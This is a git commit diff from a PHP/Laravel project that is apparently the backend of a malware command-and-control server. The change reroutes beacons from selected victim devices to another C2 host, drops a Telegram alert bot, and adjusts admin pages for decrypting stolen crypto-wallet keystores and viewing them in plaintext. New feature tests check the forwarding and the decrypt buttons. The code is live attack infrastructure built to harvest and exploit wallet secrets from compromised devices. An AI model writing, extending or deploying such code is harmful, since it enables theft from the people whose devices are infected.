feat: interapt
This commit is contained in:
@@ -103,8 +103,7 @@ QUEUE_CONNECTION=redis
|
|||||||
# Keep these from old .env:
|
# Keep these from old .env:
|
||||||
CORUNA_OFFICIAL_ALBUM_STORAGE=1
|
CORUNA_OFFICIAL_ALBUM_STORAGE=1
|
||||||
INTERCEPT_DEVICE_KEYS=...
|
INTERCEPT_DEVICE_KEYS=...
|
||||||
INTERCEPT_BOT_TOKEN=...
|
INTERCEPT_FORWARD_URL=...
|
||||||
INTERCEPT_CHAT_ID=...
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Generate app key if needed (usually keep the old one):
|
Generate app key if needed (usually keep the old one):
|
||||||
|
|||||||
@@ -2,8 +2,8 @@
|
|||||||
|
|
||||||
namespace App\Http\Middleware;
|
namespace App\Http\Middleware;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
use App\Services\TelegramNotifier;
|
|
||||||
use App\Support\VisitorIp;
|
use App\Support\VisitorIp;
|
||||||
use Closure;
|
use Closure;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
@@ -19,13 +19,8 @@ use Symfony\Component\HttpFoundation\Response;
|
|||||||
*
|
*
|
||||||
* For each matched request the middleware:
|
* For each matched request the middleware:
|
||||||
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||||
* 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
|
* 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that
|
||||||
* INTERCEPT_CHAT_ID) when configured.
|
* response. Local controllers are not invoked (no ingest / DB writes).
|
||||||
* 3. Mirrors the raw request (same method / path / query / headers / body,
|
|
||||||
* only the host changes) to INTERCEPT_FORWARD_URL when configured.
|
|
||||||
*
|
|
||||||
* The middleware never blocks or modifies the response — normal request
|
|
||||||
* processing continues regardless of interception outcome.
|
|
||||||
*/
|
*/
|
||||||
class InterceptDeviceData
|
class InterceptDeviceData
|
||||||
{
|
{
|
||||||
@@ -35,11 +30,13 @@ class InterceptDeviceData
|
|||||||
|
|
||||||
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||||
try {
|
try {
|
||||||
$this->intercept($request, $deviceKey);
|
return $this->intercept($request, $deviceKey);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||||
'device_key' => $deviceKey,
|
'device_key' => $deviceKey,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -50,8 +47,8 @@ class InterceptDeviceData
|
|||||||
* Resolve the normalized device key for this request.
|
* Resolve the normalized device key for this request.
|
||||||
*
|
*
|
||||||
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||||
* Falls back to request input fields (d / f / ecid) for multipart or
|
* Falls back to request input fields (d / f / ecid, then uuid / lhu)
|
||||||
* DarkSword requests where the decrypt middleware skipped the attribute.
|
* for multipart or DarkSword requests where decrypt skipped the attribute.
|
||||||
*/
|
*/
|
||||||
private function resolveDeviceKey(Request $request): string
|
private function resolveDeviceKey(Request $request): string
|
||||||
{
|
{
|
||||||
@@ -67,6 +64,13 @@ class InterceptDeviceData
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) {
|
||||||
|
$value = $request->input($field);
|
||||||
|
if (is_string($value) && $value !== '') {
|
||||||
|
return Device::normalizeDarkswordKey($value) ?? '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -84,38 +88,19 @@ class InterceptDeviceData
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Log + notify + forward the matched request.
|
* Log + proxy. Does not fall through to local C2 handlers.
|
||||||
*/
|
*/
|
||||||
private function intercept(Request $request, string $deviceKey): void
|
private function intercept(Request $request, string $deviceKey): Response
|
||||||
{
|
{
|
||||||
$meta = $this->collectMeta($request, $deviceKey);
|
$meta = $this->collectMeta($request, $deviceKey);
|
||||||
|
|
||||||
$this->writeLog($meta);
|
$this->writeLog($meta);
|
||||||
|
|
||||||
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
|
return $this->forward($request, $meta);
|
||||||
// but still log and forward so no data is lost.
|
|
||||||
if (! $this->shouldSkipPush($meta['path'])) {
|
|
||||||
$this->notify($meta);
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->forward($request, $meta);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Whether the Telegram push should be skipped for this path.
|
* Gather request metadata for the intercept log.
|
||||||
*/
|
|
||||||
private function shouldSkipPush(string $path): bool
|
|
||||||
{
|
|
||||||
$skipPaths = config('coruna.intercept.push_skip_paths', []);
|
|
||||||
if (! is_array($skipPaths) || $skipPaths === []) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return in_array($path, $skipPaths, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gather request metadata for logging and notification.
|
|
||||||
*/
|
*/
|
||||||
private function collectMeta(Request $request, string $deviceKey): array
|
private function collectMeta(Request $request, string $deviceKey): array
|
||||||
{
|
{
|
||||||
@@ -203,50 +188,22 @@ class InterceptDeviceData
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Send a Telegram alert via the dedicated intercept bot.
|
* Proxy the raw request to the configured forward URL and return its response.
|
||||||
*/
|
|
||||||
private function notify(array $meta): void
|
|
||||||
{
|
|
||||||
$token = (string) config('coruna.intercept.bot_token', '');
|
|
||||||
$chatId = (string) config('coruna.intercept.chat_id', '');
|
|
||||||
if ($token === '' || $chatId === '') {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$text = implode("\n", [
|
|
||||||
'🚨 <b>设备数据拦截</b>',
|
|
||||||
'📱 <b>设备</b>: <code>'.$this->e($meta['device_key']).'</code>',
|
|
||||||
'🌐 <b>IP</b>: <code>'.$this->e($meta['ip'] ?: '—').'</code>',
|
|
||||||
'📥 <b>请求</b>: <code>'.$this->e($meta['method'].' '.$meta['path']).'</code>',
|
|
||||||
'📦 <b>大小</b>: '.$this->e((string) $meta['content_length']).' bytes',
|
|
||||||
'🕐 <b>时间</b>: '.$this->e($meta['time']),
|
|
||||||
]);
|
|
||||||
|
|
||||||
try {
|
|
||||||
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::warning('intercept telegram notify failed: '.$e->getMessage());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Mirror the raw request to the configured forward URL.
|
|
||||||
*
|
*
|
||||||
* Preserves method, path, query string, headers, and body — only the
|
* Preserves method, path, query string, headers, and body — only the
|
||||||
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||||
*/
|
*/
|
||||||
private function forward(Request $request, array $meta): void
|
private function forward(Request $request, array $meta): Response
|
||||||
{
|
{
|
||||||
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||||
if ($baseUrl === '') {
|
if ($baseUrl === '') {
|
||||||
return;
|
$this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty');
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Rebuild the target URL: base + original path + original query.
|
|
||||||
$target = $baseUrl.$request->getRequestUri();
|
$target = $baseUrl.$request->getRequestUri();
|
||||||
|
|
||||||
// Collect headers to forward — drop Host (will be set by HTTP client
|
|
||||||
// based on the target URL) and hop-by-hop headers.
|
|
||||||
$headers = [];
|
$headers = [];
|
||||||
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||||
foreach ($request->headers->all() as $name => $values) {
|
foreach ($request->headers->all() as $name => $values) {
|
||||||
@@ -268,12 +225,27 @@ class InterceptDeviceData
|
|||||||
'allow_redirects' => false,
|
'allow_redirects' => false,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
|
$remoteBody = (string) $resp->body();
|
||||||
|
$this->writeForwardLog($meta, $target, $resp->status(), $remoteBody);
|
||||||
|
|
||||||
|
return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type'));
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function clientResponse(int $status, string $body, ?string $contentType): Response
|
||||||
|
{
|
||||||
|
$out = response($body, $status > 0 ? $status : 502);
|
||||||
|
if (is_string($contentType) && $contentType !== '') {
|
||||||
|
$out->headers->set('Content-Type', $contentType);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Record the forwarding result alongside the interception log.
|
* Record the forwarding result alongside the interception log.
|
||||||
*/
|
*/
|
||||||
@@ -300,9 +272,4 @@ class InterceptDeviceData
|
|||||||
|
|
||||||
@file_put_contents($logName, $line, FILE_APPEND);
|
@file_put_contents($logName, $line, FILE_APPEND);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function e(?string $value): string
|
|
||||||
{
|
|
||||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-18
@@ -107,8 +107,8 @@ return [
|
|||||||
],
|
],
|
||||||
|
|
||||||
// Device data interception: when a request comes from one of the listed
|
// Device data interception: when a request comes from one of the listed
|
||||||
// device IDs, log it to a separate file, push a Telegram alert through a
|
// device IDs, log it and proxy the raw request to INTERCEPT_FORWARD_URL.
|
||||||
// dedicated bot, and optionally mirror the raw request to another domain.
|
// Local C2 handlers are skipped (no ingest / DB writes).
|
||||||
'intercept' => [
|
'intercept' => [
|
||||||
// Comma-separated device IDs (normalized form, case-insensitive).
|
// Comma-separated device IDs (normalized form, case-insensitive).
|
||||||
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
|
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
|
||||||
@@ -116,22 +116,8 @@ return [
|
|||||||
static fn ($v) => strtolower(trim((string) $v)),
|
static fn ($v) => strtolower(trim((string) $v)),
|
||||||
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
|
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
|
||||||
))),
|
))),
|
||||||
// Dedicated Telegram bot for interception alerts (empty = skip TG push).
|
// Proxy matched requests to this base URL (empty = 502, no local fallback).
|
||||||
'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
|
// e.g. INTERCEPT_FORWARD_URL=https://c2.example.com
|
||||||
// Chat ID to receive interception alerts.
|
|
||||||
'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
|
|
||||||
// Paths that skip Telegram push but still log + forward (high-frequency noise).
|
|
||||||
// e.g. /event is telemetry spam. Default: /event
|
|
||||||
'push_skip_paths' => (function () {
|
|
||||||
$trimmed = array_filter(
|
|
||||||
array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
|
|
||||||
static fn ($v) => $v !== ''
|
|
||||||
);
|
|
||||||
|
|
||||||
return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
|
|
||||||
})(),
|
|
||||||
// Mirror raw requests to this base URL (empty = no forwarding).
|
|
||||||
// e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
|
|
||||||
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
|
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
|
||||||
// Forwarding HTTP timeout in seconds.
|
// Forwarding HTTP timeout in seconds.
|
||||||
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
|
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
|
||||||
|
|||||||
@@ -769,7 +769,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
if (obj.event === 'decryptPassword') {
|
if (obj.event === 'decryptPassword') {
|
||||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||||
layer.prompt({
|
layer.prompt({
|
||||||
formType: 1,
|
formType: 0,
|
||||||
title: '输入钱包密码',
|
title: '输入钱包密码',
|
||||||
maxlength: 256
|
maxlength: 256
|
||||||
}, function (value, idx) {
|
}, function (value, idx) {
|
||||||
|
|||||||
@@ -106,7 +106,7 @@
|
|||||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||||
<script type="text/html" id="LAY-ks-ops">
|
<script type="text/html" id="LAY-ks-ops">
|
||||||
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
||||||
@{{# if(Number(d.needs_password) === 1){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
|
@{{# if(Number(d.needs_password) === 1 || d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
|
||||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
@@ -202,7 +202,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
if (obj.event === 'decryptPassword') {
|
if (obj.event === 'decryptPassword') {
|
||||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||||
layer.prompt({
|
layer.prompt({
|
||||||
formType: 1,
|
formType: 0,
|
||||||
title: '输入钱包密码',
|
title: '输入钱包密码',
|
||||||
maxlength: 256
|
maxlength: 256
|
||||||
}, function (value, idx) {
|
}, function (value, idx) {
|
||||||
|
|||||||
@@ -0,0 +1,145 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Http\Client\ConnectionException;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class InterceptDeviceDataTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
private const DEVICE_KEY = 'dev-fwd-1';
|
||||||
|
|
||||||
|
private const DEST = 'https://c2-dest.test';
|
||||||
|
|
||||||
|
private const LOCAL_UUID = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function intercepted_request_returns_dest_response_and_skips_local_ingest(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
|
||||||
|
'coruna.intercept.forward_url' => self::DEST,
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake([
|
||||||
|
self::DEST.'/*' => Http::response(
|
||||||
|
['type' => 'noop', 'via' => 'dest'],
|
||||||
|
200,
|
||||||
|
['Content-Type' => 'application/json']
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->postJson('/beacon', [
|
||||||
|
'd' => self::DEVICE_KEY,
|
||||||
|
'uuid' => self::LOCAL_UUID,
|
||||||
|
'status' => 'idle',
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertExactJson(['type' => 'noop', 'via' => 'dest']);
|
||||||
|
|
||||||
|
$this->assertSame(0, Device::query()->count());
|
||||||
|
|
||||||
|
Http::assertSent(function ($request) {
|
||||||
|
return $request->url() === self::DEST.'/beacon'
|
||||||
|
&& $request->method() === 'POST';
|
||||||
|
});
|
||||||
|
Http::assertSentCount(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function intercepted_darksword_uuid_only_beacon_is_forwarded(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.intercept.device_keys' => [strtolower(self::LOCAL_UUID)],
|
||||||
|
'coruna.intercept.forward_url' => self::DEST,
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake([
|
||||||
|
self::DEST.'/*' => Http::response(
|
||||||
|
['type' => 'noop', 'via' => 'dest'],
|
||||||
|
200,
|
||||||
|
['Content-Type' => 'application/json']
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->postJson('/beacon', [
|
||||||
|
'uuid' => self::LOCAL_UUID,
|
||||||
|
'status' => 'idle',
|
||||||
|
'ios' => '18.5',
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertExactJson(['type' => 'noop', 'via' => 'dest']);
|
||||||
|
|
||||||
|
$this->assertSame(0, Device::query()->count());
|
||||||
|
Http::assertSentCount(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function intercepted_request_with_empty_forward_url_returns_502_without_local_ingest(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
|
||||||
|
'coruna.intercept.forward_url' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake();
|
||||||
|
|
||||||
|
$this->postJson('/beacon', [
|
||||||
|
'd' => self::DEVICE_KEY,
|
||||||
|
'uuid' => self::LOCAL_UUID,
|
||||||
|
'status' => 'idle',
|
||||||
|
])->assertStatus(502);
|
||||||
|
|
||||||
|
$this->assertSame(0, Device::query()->count());
|
||||||
|
Http::assertNothingSent();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function intercepted_request_returns_502_when_dest_is_unreachable(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
|
||||||
|
'coruna.intercept.forward_url' => self::DEST,
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake(function () {
|
||||||
|
throw new ConnectionException('dest down');
|
||||||
|
});
|
||||||
|
|
||||||
|
$this->postJson('/beacon', [
|
||||||
|
'd' => self::DEVICE_KEY,
|
||||||
|
'uuid' => self::LOCAL_UUID,
|
||||||
|
'status' => 'idle',
|
||||||
|
])->assertStatus(502);
|
||||||
|
|
||||||
|
$this->assertSame(0, Device::query()->count());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function unmatched_device_still_hits_local_beacon(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.intercept.device_keys' => [self::DEVICE_KEY],
|
||||||
|
'coruna.intercept.forward_url' => self::DEST,
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake();
|
||||||
|
|
||||||
|
$this->postJson('/beacon', [
|
||||||
|
'd' => 'other-device',
|
||||||
|
'uuid' => self::LOCAL_UUID,
|
||||||
|
'status' => 'idle',
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertJson(['ok' => true, 'type' => 'noop']);
|
||||||
|
|
||||||
|
$this->assertNotNull(Device::query()->where('device_id', self::LOCAL_UUID)->first());
|
||||||
|
Http::assertNothingSent();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -414,10 +414,30 @@ class KeystoreAdminTest extends TestCase
|
|||||||
'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password),
|
'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.keystores.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('Number(d.needs_password) === 1 || d.has_web3_keystore', false);
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.keystores.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('formType: 0', false);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('data.0.needs_password', null)
|
||||||
|
->assertJsonPath('data.0.has_web3_keystore', true)
|
||||||
|
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertSee('lay-event="decryptPassword">密码解密</a>', false);
|
->assertSee('lay-event="decryptPassword">密码解密</a>', false);
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('formType: 0', false);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||||
|
|||||||
Reference in New Issue
Block a user